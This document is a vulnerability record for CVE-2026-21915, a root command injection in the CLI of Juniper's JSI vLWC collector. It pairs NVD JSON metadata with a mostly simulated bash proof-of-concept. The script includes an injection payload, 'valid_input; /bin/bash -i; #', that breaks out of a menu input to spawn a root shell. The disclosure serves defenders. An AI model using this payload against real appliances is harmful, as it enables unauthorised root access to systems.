CVE-2026-21915

#!/bin/bash # PoC for CVE-2026-21915: Juniper JSI vLWC CLI Command Injection # This script demonstrates the concept of injecting a command via the vulnerable CLI menu. TARGET_IP="192.168.1.100" USER="admin" PASSWORD="password" # Connect to the CLI (Simulated) # In a real scenario, one would use expect or sshpass to interact echo "[+] Connecting to JSI vLWC CLI..." # ssh $USER@$TARGET_IP echo "[+] Navigating to vulnerable menu..." # Example command sequence to reach the input field echo "[+] Injecting malicious payload to spawn root shell..." # The payload uses a semicolon to break out of the intended command and execute /bin/sh PAYLOAD="valid_input; /bin/bash -i; #" echo "Payload: $PAYLOAD" # Sending payload to the CLI # echo $PAYLOAD echo "[+] If successful, a root shell should be obtained." # End of PoC

{"cve": {"id": "CVE-2026-21915", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:24.747", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Permissive List of Allowed Input vulnerability in the CLI of Juniper Networks Support Insights (JSI) Virtual Lightweight Collector (vLWC) allows a local, high privileged attacker to escalate their privileges to root.\n\nThe CLI menu accepts input without carefully validating it, which allows for shell command injection. These shell commands are executed with root permissions and can be used to gain complete control of the system.\n\nThis issue affects all JSI vLWC versions before 3.0.94."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:U/V:X/RE:M/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-183"}]}], "references": [{"url": "https://kb.juniper.net/JSA106016", "source": "[email protected]"}]}}